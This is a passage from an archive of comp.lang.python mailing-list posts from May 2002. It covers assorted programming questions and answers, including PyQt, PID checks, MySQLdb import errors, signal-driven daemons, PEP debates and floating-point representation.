choice. It's not simplest, but extremely feature-rich and well documented when you considered both Rempt's book AND the ease of using Trolltech's large manuals (things translate from Qt to PyQt quite plainly). BlackAdder makes it easy to install as it comes with all you need (or will once it does support Qt3), although in fact on my Linux box I decided to install from sources anyway (my personal preference: software that's mission-critical for me I install from sources -- Python, VIM, now Qt, and a very few other pieces). Tkinter is OK, but nowhere as feature-rich as Qt -- not as fast, not as neatly native-looking. wxPython was OK when I last tried it, but that was quite a while ago -- I'm not qualified to have an opinion on how it is right now. A;ex From kkto at csis.hku.hk Sat May 4 03:02:15 2002 From: kkto at csis.hku.hk (Isaac To) Date: 04 May 2002 15:02:15 +0800 Subject: Python vs. Perl, which is better to learn? References: Message-ID: <7ik7qks8eg.fsf@enark.csis.hku.hk> >>>>> "Alex" == Alex Martelli writes: Alex> For example, class and struct are two keywords which are exact Alex> synonyms except for a different default visibility until the first Alex> private/protected/public keyword in the class body -- this should Alex> make it obvious that there is redundancy here. Then two comment styles (or actually, 3) is redundent? How much more difficult to learn one more alias? Just like multiple comment style, they serve to communicate programmers' intent: to differentiate those types that are encapsulated and those that aren't. Alex> since existing programs were using it by the time he convinced Alex> himself the language would be better off without it. If a feature is "just for existing programs", new programmers usually are free not to learn it. I see many who never learnt about C-style casts, function pointers, etc. Alex> My own feeling is that C++ is probably as good as it could be made Alex> considering the many constraints on it -- pity that those Alex> constraints never included "and simple enough for human beings to Alex> use well" It's not currently? I beg to differ. I see the only real thing currently causing trouble is the lack of of good standard library. Not just to deal with containers (currently we still lack a hash-table based container in the standard) and I/O, but also those for performing GUI, networking operations, database interface, memory handling, component architecture, process and thread management, virtual filesystem, XML parsing, encryption and decryption, and so on. All of them exists, none of them is standardized. Hopefully the next C++ version will clear this up. It has been a language more than 10 years old, it deserves to have this large standard library. But of course, this is a Python forum, so I'll stop advocating another language. Regards, Isaac. From joost_jacob at hotmail.com Sun May 5 15:19:03 2002 From: joost_jacob at hotmail.com (J.Jacob) Date: 5 May 2002 12:19:03 -0700 Subject: Choose Your Own Adventure References: Message-ID: <13285ea2.0205051119.5a8d4e80@posting.google.com> [Philipp Lenssen] > The Python port of QML (Quest Markup Language) interpreter is now published > in final stage: > http://questml.com/quests/ After a little while I found the downloads at http://questml.com/download.htm Maybe you should put a link to that on that first page you mention? The site has a nice, clever and tasteful design and therefor it is fast too, congratulations. Unfortunately I do not have enough time to study it well but I always try to keep up to date about what people use Python for. It looks like a lot of fun. From noah at noah.org Thu May 9 16:55:39 2002 From: noah at noah.org (Noah) Date: Thu, 9 May 2002 13:55:39 -0700 Subject: How do I check if a pid is running? Message-ID: If I have the pid to a process under UNIX then how do I get the status of that pid? Specifically, I would like to see if child is running or not. If the pid cannot even be found then I will assume that process is not running. Note, that I think waitpid() may do what I want, but I'm not quite sure of the semantics. I do not want to wait for completion of a child process, so I probably need WNOHANG option, but that returns 0 if the status is not immediately available, so presumably the process could still be running. Therefore a 0 value is ambiguous. What do I need to do just to check if the pid even exists or not? Yours, Noah From ferdinando at ametrano.net Mon May 6 03:47:54 2002 From: ferdinando at ametrano.net (Ferdinando Ametrano) Date: Mon, 06 May 2002 09:47:54 +0200 Subject: [ANN] QuantLib-Python 0.3.0 Message-ID: <5.1.0.14.2.20020506094750.00ab5008@mail.ametrano.net> QuantLib-Python 0.3.0 --------------------- http://quantlib.org QuantLib-Python is a SWIG wrap of QuantLib. QuantLib is a free/open-source quantitative finance C++ library for modeling, pricing, trading, and risk management in real-life. A tool for derivatives and financial engineering. Version 0.3.0 of the C++ library and the Python extension have been released. What's new ------------ - in sync with QuantLib 0.3.0 - more info on the tested library - using old version of the library forbidden - Using unittest methods for signaling failures - bug fixing - Exported derived and composite market element - Extended Monte Carlo tests URL: http://quantlib.org License: BSD style Categories: Miscellany Ferdinando Ametrano (ferdinando at ametrano.net) http://www.ametrano.net --

QuantLib-Python 0.3.0 - A module for quantititative finance. (6-May-02)

-- From joost_jacob at hotmail.com Sun May 26 17:42:24 2002 From: joost_jacob at hotmail.com (J.Jacob) Date: 26 May 2002 14:42:24 -0700 Subject: XML-RPC and Tkinter demo, comments welcome :-) Message-ID: <13285ea2.0205261342.36cf6dde@posting.google.com> Hi, Want to help me improve my Tkinter and XML-RPC programming? I used xmlrpclib and SimpleXMLRPCServer, both made backwards compatible to python 1.5.2, to implement some kind of IRC chat application. The modified files xmlrpclib.py and SimpleXMLRPCServer.py are included, not necessary if you have python version 2.2 or so. If you would like to try it out you can download it at http://www.cwi.nl/~jacob/xmlrpcchat.zip it has been tested with Windows NT and linux and Solaris Unix. There is a README file explaining how to run a demo, very simple to set up, also possible using only a local machine. Please let me know if you find any portability problems on your system? I am not an expert on Tkinter or network programming. Since I want to learn more comments are very welcome. Joost -------------------------------------------------------------- I really hate this damned machine I wish that they would sell it. It never does quite what I want But only what I tell it. From v.wehren at home.nl Thu May 9 15:15:36 2002 From: v.wehren at home.nl (vincent wehren) Date: Thu, 9 May 2002 21:15:36 +0200 Subject: python dustribution on Suse 8.0 Message-ID: Does ayone have experience with the distribution of Python on Suse 8.0? I there really no IDLE available o at least on of the 7 (!) install CD's ? If so, what is the best way to get IDLE up and running, especially since the Tkinter distrubution from Suse 8.0 gives me somewhat of a headache! Regards Vincent From sholden at holdenweb.com Mon May 13 22:57:29 2002 From: sholden at holdenweb.com (Steve Holden) Date: Mon, 13 May 2002 22:57:29 -0400 Subject: Finding mail exchangers References: <0eSD8.57422$7R.66720@NewsReader> Message-ID: "ian" wrote in message news:0eSD8.57422$7R.66720 at NewsReader... > hi ive almost finished my mail server for a > programming assignment im doing > > what i need to do now is write some code > to find the mail exchanger for a given domain > > for example if i send mail to iwaters at btclick.com > it gets sent to pop3.btclick.com > > how can i get a list of all exchangers for domains? You need to submit a query to a DNS server and decode the reply. I have code that does this if you'd like a copy (it uses the dnslib code, which I can also provide). regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From jeff at ccvcorp.com Wed May 1 21:13:46 2002 From: jeff at ccvcorp.com (Jeff Shannon) Date: Wed, 1 May 2002 18:13:46 -0700 Subject: Packing data References: <3CD0850E.94E6EC5F@uniserve.com> Message-ID: In article <3CD0850E.94E6EC5F at uniserve.com>, bvdpoel at uniserve.com says... > > I'm doing some midi stuff and need to pack ints into a byte string. I'm > doing > > def mkstring(var): > ret = "" > for a in var: > ret += chr(a) > return ret Presuming that var is a list of ints, the following will be much more efficient than your code, without requiring array/struct. def mkstring(var): var = [chr(a) for a in var] return ''.join(var) The first line goes through your list of ints and converts it into a list of single characters. The second line then joins that list into a single string, and returns it. The biggest problem with your version is that, by using repeated string concatenation, you're creating a new, progressively longer and longer, temporary string item for each element of your list, in addition to the single-character string. For lists of any significant length, this quickly becomes *very* inefficient. -- Jeff Shannon Technician/Programmer Credit International From whisper at oz.net Thu May 16 03:35:19 2002 From: whisper at oz.net (David LeBlanc) Date: Thu, 16 May 2002 00:35:19 -0700 Subject: Beginner question In-Reply-To: <3CE35C45.A1EFB761@alcyone.com> Message-ID: you can also do: from math import * cos(10) This form of importing is NOT generally recommended though. It makes every name in math common to your program - while it ok for a math package where the names are pretty unambiguous, what if you had two fft packages and where comparing them (just a lame, off the cuff example). You'd want to do first.fft() and second.fft(), so you'd "import first" and "import second" so that the routines with the same name stay in different namespaces. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Erik Max Francis > Sent: Thursday, May 16, 2002 0:14 > To: python-list at python.org > Subject: Re: Beginner question > > > Mats Holmberg wrote: > > > ?? what to do? I need the trigonometric functions, but how do I get to > > use > > them? > > The way you get any objects inside modules. Reference them explicitly: > > import math > print math.cos(10) > > or import it individually: > > from math import cos > print cos(10) > > -- > Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ > __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE > / \ Who'd ever think it / Such a squalid little ending > \__/ The American and Florence, _Chess_ > Church / http://www.alcyone.com/pyos/church/ > A lambda calculus explorer in Python. > -- > http://mail.python.org/mailman/listinfo/python-list From poster14 at lopan.dccs.upenn.edu Mon May 13 14:42:26 2002 From: poster14 at lopan.dccs.upenn.edu (John) Date: 13 May 2002 18:42:26 GMT Subject: intermittent MySQLdb import problem on Solaris 7 References: Message-ID: In John writes: >This test program sometimes works when invoked via the web server via >CGI, but most often it doesn't: > #!/usr/local/bin/python > import cgi > try: > import MySQLdb > cgi.test() > except: > print "Content-type: text/html\n" > cgi.print_exception() >When it doesn't work, here's the exception: > Traceback (most recent call last): > File "./bad.cgi", line 7, in main > import MySQLdb > File "./MySQLdb/__init__.py", line 27, in ? > import _mysql > ImportError: ld.so.1: /usr/local/bin/python: fatal: libgcc_s.so.1: > open failed: No such file or directory >It ALWAYS works when run from the command line. The library file it can't I just got word from the ISP hosting this CGI. It turns out that their web server is actually two web servers serving via a load balancer. One of the hosts (the one I've been logging into all these times) is fine. However, the other one lacks a /usr/local/lib/libgcc_s.so.1. D'oh! I've asked them to fix the issue for me. I can only hope they will. From op73418 at mail.telepac.pt Mon May 27 16:04:41 2002 From: op73418 at mail.telepac.pt (Gonçalo Rodrigues) Date: Mon, 27 May 2002 21:04:41 +0100 Subject: Thought on PEP 204 and 276 References: Message-ID: On Mon, 27 May 2002 18:31:11 +0100, Steve Horne wrote: > >I can't help being disappointed that PEP 204 was rejected. To me, > > for i in [0:10] : > >is much more intuitive than the PEP 276 version > > for i in 10 : > > >As for the ideas like allowing '[1, 5:10, 20]', combining the syntax >with list comprehensions, etc I feel the common policy of KISS (ie >just do the minimal slice-like notation) is a good principle. > >On the issue that it could be confused with slices, consider the >following... > > (1, 2) > >Is that a tuple containing the values 1 and 2, or is it the actual >parameter list for a function call? - you can only tell from the >context (ie was there a function name, variable containing a lambda or >whatever to the left). Clearly the slice/range-list dilemma is no more >confusing than syntax that already exists. > >As for being non-obvious, I'd say it's as obvious as using the slice >notation for slices. > >In short, PEP 204 seems intuitive to me while PEP 276 makes me worry. > >Am I alone in thinking this? AFAIK PEP 276 has been withdrawn so no need to worry about that. Best, Gon?alo Rodrigues From roy at panix.com Mon May 27 21:33:54 2002 From: roy at panix.com (Roy Smith) Date: Mon, 27 May 2002 21:33:54 -0400 Subject: Ann: Stackless Limbo Dancing Works Fine! References: Message-ID: Andrew Henshaw wrote: > Occam is so closely identified with the Transputer, and vice versa. Are either actually still around? From martin at v.loewis.de Sun May 5 18:10:56 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 06 May 2002 00:10:56 +0200 Subject: Creating C modules for Python under Cygwin References: <3CD41CC4.5752F30C@wag.caltech.edu> Message-ID: Alex Martelli writes: > I don't know if there are all that many .EXE's embedding Python on > Windows, nor if that was the reason for the (perfectly reasonable) > choice to build Python itself as a DLL there. I feel the choice of putting Python into a DLL is questionable, atleast for the following reasons: - you force extension modules to tie themselves to a specific version of the Python DLL. This means that there is zero chance that you can exchange extension modules across Python releases - even though the Python interpreter itself allows for such sharing (on other platforms). - when freezing Python applications, I would like to have a static library, not a shared one, so that I get a stand-alone binary. OTOH, the "we can embed Python" argument is not so strong as it may seem: when you embed Python, you still need some glue code for the container; that glue code could easily link with a static library, instead of a shared one. Of course, then the question is what to link extension modules against. Regards, Martin From martin.erren at brainforce.at Sat May 11 12:29:07 2002 From: martin.erren at brainforce.at (Martin Erren) Date: Sat, 11 May 2002 18:29:07 +0200 Subject: NameError: Case mismatch for module name sys References: <3cdbe559$0$155@ams2eusosrv31.ams.ops.eu.uu.net> <3cdbeff9$0$154@ams2eusosrv31.ams.ops.eu.uu.net> <3CDC888D.E2681CD@engcorp.com> Message-ID: <3cdd46dd$0$150@ams2eusosrv31.ams.ops.eu.uu.net> Hello Peter. > A better approach is just to rename some files. Is there really any > reason you can just 'ren Sys.py sys2.py' for example? I think I'll simply rename the package. It should become prettier and not uglier ;-) Thanks: Martin From stephen at xemacs.org Sat May 11 10:55:23 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 11 May 2002 23:55:23 +0900 Subject: Multibyte Character Surport for Python References: <87g011q3fl.fsf@tleepslib.sk.tsukuba.ac.jp> <87y9etmya6.fsf@tleepslib.sk.tsukuba.ac.jp> <87sn4zf8hj.fsf@tleepslib.sk.tsukuba.ac.jp> <87bsbmg9is.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: <87elgientw.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "Martin" == Martin v Loewis writes: Martin> UTF-16 as-a-CES is defined in RFC 2781, which, in section Martin> 3.3, says that the BOM SHOULD be inserted if the CES Martin> UTF-16 is used. The content of what you wrote is identical to what I wrote. It's optional, if you have good reason not to do so. The behavior of u"a".encode("UTF-16") + u"b".encode("UTF-16") versus u"ab".encode("UTF-16") is quite sufficient reason, to my mind. It is, however, incorrect to cite RFC 2781 Section 3.3 "Choosing a label for UTF-16 text" here. Python strings have no explicit charset labels, which is the subject of that section. (At least I can't find them in a string object using dir() etc.) It simply does not apply. Not to mention that RFC 2781 is not intended to apply to the Python interpreter's internal operation at all, except for "Widely Distributed Python". See section 1 "Introduction". -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN My nostalgia for Icon makes me forget about any of the bad things. I don't have much nostalgia for Perl, so its faults I remember. Scott Gilbert c.l.py From peter at engcorp.com Mon May 20 13:22:40 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 20 May 2002 13:22:40 -0400 Subject: Licensing question References: <3ce8614f_5@nopics.sjc> <3ce8b333$0$3888$e4fe514c@dreader4.news.xs4all.nl> Message-ID: <3CE930E0.EC020249@engcorp.com> Boudewijn Rempt wrote: > > Adonis wrote: > > > this might provoke a flame war, which i hope that it will not occur, and > > hope that it can be responded in a more mature intellectual manner. my > > question is can a program written in Python be sold? i have read the > > python license and could not find it too clear, or i just have misread it. > > if not, can the fact of the actual "service/time spent" used to produce > > the program be a warrant for receiving a profit? > > Sure, you can sell your program. You don't even need to open-source it, > even though that would be appreciated by the rest of the world, and probably > by your development team. > > Look at commercial programs like Wing IDE or Zope. Well, Wing appears to be almost wholly non-free, while Zope appears to be almost wholly free. Isn't Zope Corporation's strategy to sell their services, not the application itself? -Peter From jjl at pobox.com Sat May 4 12:29:26 2002 From: jjl at pobox.com (John J. Lee) Date: Sat, 4 May 2002 17:29:26 +0100 Subject: odd isinstance failure Message-ID: urllib2 does an (unwise, of course) isinstance check: def open(self, fullurl, data=None): [...] assert isinstance(req, Request) # really only care about interface (the Request class is also defined in urllib2) which fails in my code which does this: from urllib2 import Request [...] req = Request(url) res = urlopen(req) The urlopen trips up on the type-checking assertion in urllib2 (actually, I'm using my own urlopen function, but it uses the urllib2 code). I don't see how, because in fact the class used in my code should be identical to the one that urllib2 is checking for. I'm sure I've heard about this problem before, but I can't remember what the answer was. John From loewis at informatik.hu-berlin.de Sat May 11 03:38:41 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 11 May 2002 09:38:41 +0200 Subject: unknown locale de_DE@euro References: Message-ID: pinard at iro.umontreal.ca (Fran?ois Pinard) writes: > > The locale de_DE at euro (which I uses ISO-8859-15 as encoding), as used by > > e.g. SuSe 8.0 Linux > > Is not `@euro' fairly abusing the concept of language dialect? :-( The '@' is not reserved, in use, for a dialect. Instead, it is a more general 'modifier'. In this case, it modifies the LC_MONETARY category; as a side effect, it also modifies the codeset (to allow the representation of the monetary symbol in a single byte). Regards, Martin From peter at engcorp.com Mon May 6 19:54:50 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 06 May 2002 19:54:50 -0400 Subject: Looking for a scripting language References: <3cd49f78$0$355$9b622d9e@news.freenet.de> <3cd51348$0$151$9b622d9e@news.freenet.de> <3CD526E8.EA6CDBBF@engcorp.com> <3cd52c11$0$25705$9b622d9e@news.freenet.de> Message-ID: <3CD717CA.4E204E31@engcorp.com> deckerben wrote: > > D:\D\SCRIPTS\PROGRAM\Python\PyXML-0.7.1>python setup.py build > Traceback (most recent call last): > File "D:\USER\DJGPP\lib\python2.0\distutils\util.py", line 135, in > check_envir on > os.environ['PLAT'] = get_platform() > File "D:\USER\DJGPP\lib\python2.0\distutils\util.py", line 43, in > get_platform > > (osname, host, release, version, machine) = os.uname() > TypeError: unpack non-sequence That last line suggests that your implementation of os.uname() is not returning what was expected (a sequence consisting of those five specific items. I'm not qualified to advise you in this :-), but I would recommend checking into the os module to see if the compiler/OS support for whatever that routine does is non-standard or something. Or make a fake version which returns those five items with reasonable guesses: def fake_uname(): return 'BenDos', 'localhost', '2.4', 'yadda', 'Pentium' import os os.uname = fake_uname Or something kludgy like that... it might let you work past the problem anyway. -Peter From donald.braman at yale.edu Thu May 9 16:46:40 2002 From: donald.braman at yale.edu (don) Date: Thu, 9 May 2002 13:46:40 -0700 Subject: Hello Newb here References: <_ujC8.155$wG1.137@nwrddc04.gnilink.net> Message-ID: I would recommend spending a week with the book "Learning Python". If you are really ambitious, you can probably get through it in a few days. But then you want to retain the information, so a week is probably safer. Then I would move on to another book, "Python Web Programming". If you spend long days at it, you can move through this in about two weeks. This will give you a lot of practical knowledge about how to build useful programs. Then go out and look at other people's code for a week and screw around on your own. I think that's about as good as you can get in a month. -d "Ray Tux" wrote in message news:_ujC8.155$wG1.137 at nwrddc04.gnilink.net... > Hello im new to programming i started to learn c++, but turned out to be > way too hard. So i thought I would learn Python. > > Does anyone have any ideas on how I can learn to program well in about a > month > > Thank > > > From dsavitsk at yahoo.com Sun May 5 12:21:52 2002 From: dsavitsk at yahoo.com (dsavitsk) Date: Sun, 5 May 2002 11:21:52 -0500 Subject: Error with "Not found: win32com.client" References: Message-ID: you will need the windows extensions available here http://starship.python.net/crew/mhammond/ "David" wrote in message news:df30afd4.0205042348.3b5ebba2 at posting.google.com... > I copy the code from "Learning Python" charper10, and it report the error: > > Traceback (most recent call last): > File "C:\MyCode\Python\Noname1.py", line 3, in ? > from win32com.client import constants, Dispatch > ImportError: No module named win32com.client > > Where I can down/inst this module? Thanks!~ From harisri at bigpond.com Wed May 1 20:30:06 2002 From: harisri at bigpond.com (Srihari Vijayaraghavan) Date: 1 May 2002 17:30:06 -0700 Subject: Problem while reading a text file in reverse order. References: <284b44c2.0204302350.7c013690@posting.google.com> Message-ID: <284b44c2.0205011630.68053b27@posting.google.com> Hello Greg, "Greg Krohn" wrote in message > Very easy to fix. Open the file in binary mode: > > f = open(myfile, 'rb') Fantastic! It works. That is a clever trick. Thanks, Hari, harisri at bigpond.com From usenet123 at samba-choro.com.br Wed May 22 14:46:01 2002 From: usenet123 at samba-choro.com.br (Paulo Eduardo Neves) Date: 22 May 2002 11:46:01 -0700 Subject: [ANN] Puffin: Web Application Testing Framework References: Message-ID: <9c152b57.0205221046.64a14cb8@posting.google.com> "A. Keyton Weissinger" wrote in message > > I'm looking for any and every way I can make Puffin better. So don't > > hesitate to contact me if you find a bug or think of a feature you want. I > > will make whatever time is required to make Puffin better fit > > your needs and > > its purpose! How does Puffin compares to httpunit? http://httpunit.sourceforge.net/ httpunit is a unit testing framework in java. Nowadays I use jython just to use this library. To be true, I don't even use for testing, but to simulate the browser behavior and automaticaly perform some actions in my on line bank. It'd be nice to stay with a pure python solution. From nospam at bigfoot.com Mon May 27 15:38:32 2002 From: nospam at bigfoot.com (Gillou) Date: Mon, 27 May 2002 21:38:32 +0200 Subject: Newbie Database. References: <24d8090a.0205270854.6cadc50b@posting.google.com> Message-ID: "Corey Woodworth" a ?crit dans le message news: 24d8090a.0205270854.6cadc50b at posting.google.com... > How should I save my database file for instance? I was thinking a text > file full of strings like this perhaps: > > songname::artist::performer::filename:: ... ... You'd better use a real database engine rather than a flat formatted file. "Many to 1", "1 to many" or (better) "many to many" relations are very difficult to handle in a flat text file. Even in XML, it's quite hard to handle. > > But I think there are probably better ways. Are there any tutorials on > databases? Modules I should look into? Similar python programs that I > should read the sources for? Start here to have some enlightenments on how to use databases from python: http://www.python.org/sigs/db-sig/ But you should first focus on your database design/structure before diving into the python code. > > Thanks in advance! > Welcome > Corey From kragen at pobox.com Mon May 13 13:07:16 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 13 May 2002 13:07:16 -0400 Subject: System integration using Python: is it possible ? References: <3cde5c6e$0$7924$bb624dac@diablo.uninet.ee> Message-ID: <83y9eokmd7.fsf@panacea.canonical.org> "Eduard Smirnov" writes: > Your help in the answer to the following question is necessary for my diplom > thesis: I consider that to integrate among themselves large systems is > possible and much easier using scripting language (e.g. Python) than with > system?s programming language (e.g. C++). Have you looked at Ousterhout's work from a few years back? There's also Kernighan and Plauger's _Software Tools_, which explains why they built Unix around the philosophy you describe above in the 1970s. From larooy at xtar.co.nz Tue May 14 06:23:26 2002 From: larooy at xtar.co.nz (John La Rooy) Date: Tue, 14 May 2002 22:23:26 +1200 Subject: How to create a web interface for a daemon written in Python? References: Message-ID: <20020514222326.2dee1900.larooy@xtar.co.nz> signals are an easy way to talk to daemons use: kill -HUP `cat mypid` kill -USR1 `cat mypid` kill -USR2 `cat mypid` of course the kill has to be run by the same user as the script John #!/usr/local/bin/python import signal,time, os def hup_handler(signum, frame): print "RESET" def usr1_handler(signum, frame): print "STOP" signal.pause() def usr2_handler(signum, frame): print "START" signal.signal(signal.SIGHUP, hup_handler) signal.signal(signal.SIGUSR1, usr1_handler) signal.signal(signal.SIGUSR2, usr2_handler) open("mypid","w").write(str(os.getpid())) while 1: print "." time.sleep(1) On Mon, 13 May 2002 17:05:04 +0200 Markus wrote: > Hi all, > > we're using a Python script as a watchdog for another process. > The watchdog is running in console mode, so it is necessary to access the > terminal it is running on to operate the program. > > I'm thinking about a remote control feature via a web interface, running the > script in the background. The interface simply has to provide access to the > 3 basic functions of the watchdog script, i.e. "start", "stop" and "reset", > all of which don't need any parameters. > > Can anybody give me a hint about the best way to do this? (Or even better, a > hint to a working implementation of something similar ...) > > TIA, > Markus From Mailer-Daemon at zoppas-industries.it Thu May 2 07:24:03 2002 From: Mailer-Daemon at zoppas-industries.it (Mailer-Daemon) Date: Thu, 02 May 2002 13:24:03 +0200 Subject: NDN: Os direitos reservados Message-ID: Sorry. Your message could not be delivered to: simone moreali (The name was not found at the remote site. Check that the name has been entered correctly.) From dvanpope at bookworm.suffolk.lib.ny.us Wed May 22 09:58:11 2002 From: dvanpope at bookworm.suffolk.lib.ny.us (VanPopering) Date: Wed, 22 May 2002 13:58:11 GMT Subject: NT, cgi, & python Message-ID: I took my time and tried to compose the question a bit more completely. I think something is assumed that I know, but dont. I have never done this sort of things before obviosuly. I am trying to create a survey on my library web page. http://sohd.suffolk.lib.ny.us/survey.html This, on the server is actually in: C:\InetPub\wwwroot\survey.html My server is Windows NT4 I created C:\cgi-bin and put these in it: gypsymail.err gypsymail.py gypsyutils.py and a C:\cgi-bin\templates folder with these in it: defaultconfig.txt template.txt I have included gypsymail.py defaultconfig.txt template.txt as attachments - perhaps you can see what is wrong ifyou have a moment. I would greatly appreaciate any suggestions. I an excited about learning python and thought this would be a nice way to start playing with it. Thanks for anything you can do! -David dvanpope at suffolk.lib.ny.us From tanzer at swing.co.at Wed May 8 02:36:36 2002 From: tanzer at swing.co.at (Christian Tanzer) Date: Wed, 08 May 2002 08:36:36 +0200 Subject: Has Red Hat helped or hurt? In-Reply-To: Your message of "07 May 2002 22:30:28 PDT." <7x1ycnw6iz.fsf@ruckus.brouhaha.com> Message-ID: > It's also bogus to speak of Python 1.5.2 as some ancient dinosaur that > should be dead and gone. It's just 2 years old or so. You are just slightly off. 1.5.2 was released more than three years ago and was superseded by a newer Python almost 2 years ago. > It's an error to needlessly break compatibility with it. And it's FUD to claim needless compatibility breaks have happened. > I don't think it's a fair question. Red Hat is just another Python user > and the implied criticism of them for using 1.5.2 is unreasonable. > 1.5.2 was the latest and greatest Python version when the Red Hat 7.x > series began, and per perfectly reasobale policy, Do I understand you correctly in that it was perfectly reasonable for Red Hat to first ship a broken gcc and then change to a newer one during the 7.x series? I doubt anybody would care which Python version Red Hat uses for their tools if they didn't make it unreasonably difficult for their users to use a current Python version for non-Red Hat purposes. -- Christian Tanzer tanzer at swing.co.at Glasauergasse 32 Tel: +43 1 876 62 36 A-1130 Vienna, Austria Fax: +43 1 877 66 92 From db3l at fitlinxx.com Wed May 22 21:49:07 2002 From: db3l at fitlinxx.com (David Bolen) Date: 22 May 2002 21:49:07 -0400 Subject: Is python really slow? References: Message-ID: Fernando Pereira writes: > Any Java performance evaluation that doesn't take into account the effect of > JITC/HotSpot is worthless. Unless the test program runs for quite a while, > runtime will include byte-code interpretation (before the frequently-visited > code is compiled) and compilation. As long as what you're trying to evaluate will be a long running program. Otherwise, regardless of how well your test program may eventually do after runtime permits the compilation, it's still going to be the interpretation overhead in typical use (e.g., for short tasks). As usual, benchmarking and performance evaluation is an area fraught with peril :-) -- -- David -- /-----------------------------------------------------------------------\ \ David Bolen \ E-mail: db3l at fitlinxx.com / | FitLinxx, Inc. \ Phone: (203) 708-5192 | / 860 Canal Street, Stamford, CT 06902 \ Fax: (203) 316-5150 \ \-----------------------------------------------------------------------/ From pyth at devel.trillke.net Fri May 10 13:32:17 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 10 May 2002 19:32:17 +0200 Subject: Thoughts on new grammar rules (PEP 284 in particular) In-Reply-To: <82undu4anb47usgck50ebil2ku1f36173q@4ax.com>; from steve@lurking.demon.co.uk on Fri, May 10, 2002 at 06:17:36PM +0100 References: <82undu4anb47usgck50ebil2ku1f36173q@4ax.com> Message-ID: <20020510193217.E25906@prim.han.de> Steve Horne wrote: > > I was just reading PEP284 and, in general, I like it. The trouble is, > I'd quite like these limit-specifications to be more general. For > example, I'd quite like to write... > > if 0 <= x < 10 : > print "x is in range" > > There is a big problem with this, of course - this is already legal > Python, but the semantics aren't what I intend. exactly. > Looking generally through other PEPs, there seems to be a general > problem with adding new grammar to the Python language. Some > contortions are needed to avoid breaking old code. > I was wondering if maybe it is time that the Python 'core' grammar was > considered broadly complete, with the exception of a special notation > specifically designed for the purpose of wrapping new grammar rules. > > I haven't thought through my choice of symbols, but imagine a notation > such as the following was created... > > [* indentifier RULE *] ugh :-) Ugly to read... > if [* check 0 <= x < 10 *] : > print "OK" better: if 0 <= x and x < 10: > for [* range 0 <= x < 10 *] : > pass better: for range in xrange(0,10): pass Tell us the truth! You were sent from these evil perl-hackers on a quest to bring python to perl's line-noise levels :-) > Obvious Advantages... > > - If the new syntax turns out to be obscure and rarely used, people > reading the code that does use it at least have a clear identifier > name to look up in the manuals to find an explanation of what it > does. You just made it difficult to read other's code without looking up some (probably missing:-) documentation. > - With careful choice of delimiters (ie the [* and *] above) this > should never cause a code break, and should save a lot of hassle > in this respect in the future. while increasing general hassle. > - Python should be able to give a clear error message if source code > intended for a newer version is used (e.g. 'range support not > provided in this Python version) by simply picking up the > identifier. I think there is absolutely no chance of something like this ever beeing integrated. > - Noticably wordier than necessary, as each new grammar rule has > three 'redundant' tokens. > - Could make it too convenient to add obscure special-purpose > features, leading to unnecessary bloat. exactly. > Any comments? kill that perlish devil in you and enjoy python :-) regards, holger From dkt at registriesltd.com.au Thu May 30 21:56:53 2002 From: dkt at registriesltd.com.au (David K. Trudgett) Date: Fri, 31 May 2002 11:56:53 +1000 Subject: !!! 2.1, 2.2, 2.2.1, PYTHON BUGS ???? In-Reply-To: <3CF6C8BD.1B402746@bellatlantic.net>; from debl2nonospammyWhammy@bellatlantic.net on Fri, May 31, 2002 at 12:48:57AM +0000 References: <3CF6C8BD.1B402746@bellatlantic.net> Message-ID: <20020531115653.U2276@regdp-02.intint.registriesltd.com.au> On Friday 2002-05-31 at 00:48:57 +0000, David Lees wrote: > David, > > The link that was referenced gives a pretty good explanation of what is > going on. I would guess that the output routine for printing floating Yes, someone else explained about that. I did refer to that link, but I probably didn't read all of it. > point was changed between Python 1.5.2 and Python 2.1. If you are > bothered by the representational rounding for 0.1, you can always > truncate the answer to fewer decimal places. Yes, which is what one would normally do, probably, depending on how quick and dirty the program is. > You are fooling yourself > if you think that perl and python 1.5.2 give the 'right' answer, but I was slightly tongue in cheek with "right" and "correct". > python 2.1 somehow does not. You confuse truncated output with internal > representation. For example, if you subtract one from your perl > example, you do NOT get zero: > > perl -e '$sum = 0;foreach(1..10){$sum += 0.1};$sum -= 1.0; print > "$sum\n";' > -1.11022302462516e-16 Bitten! :-) Didn't I say so? ;-) Actually, I never do stuff like that, having done most of my past programming in Pascal (mostly Turbo Pascal and Object Pascal). Just like in C, and probably just about every other language, one needs to be on the ball with floating point representation when doing numerical work. For the benefit of those who may not know, both Python and Perl have support for large integer/floating point arithmetic (arbitrary precision). It's slow, but for precision, it can't be beat! :-) I believe, in Python 2.2 or higher, one needs to do something like from mx.Number import * i = Float(3.1, precision=128) i = i * 2 print i.format(10) I don't have Python 2.2, so perhaps someone else can elaborate or correct if the above isn't quite right. In older Pythons, I believe there is an "mpz" module that does something similar. David Trudgett From shalehperry at attbi.com Sat May 25 12:58:25 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Sat, 25 May 2002 09:58:25 -0700 (PDT) Subject: date of file In-Reply-To: <20020526.023923.2130794395.3231@iprimus.com.au> Message-ID: On 25-May-2002 Occean wrote: > I have an directory which hold some file. Now i have to list all of the > file according to the date the that the file created. For example, i > want to display all of the file from the date 24/05/2002 until now. How can i > do > that, can anyone show me look into the 'stat' functions. I believe they are under os but either way the library docs will point you. From pereira at cis.upenn.edu Fri May 24 21:28:17 2002 From: pereira at cis.upenn.edu (Fernando Pereira) Date: Fri, 24 May 2002 21:28:17 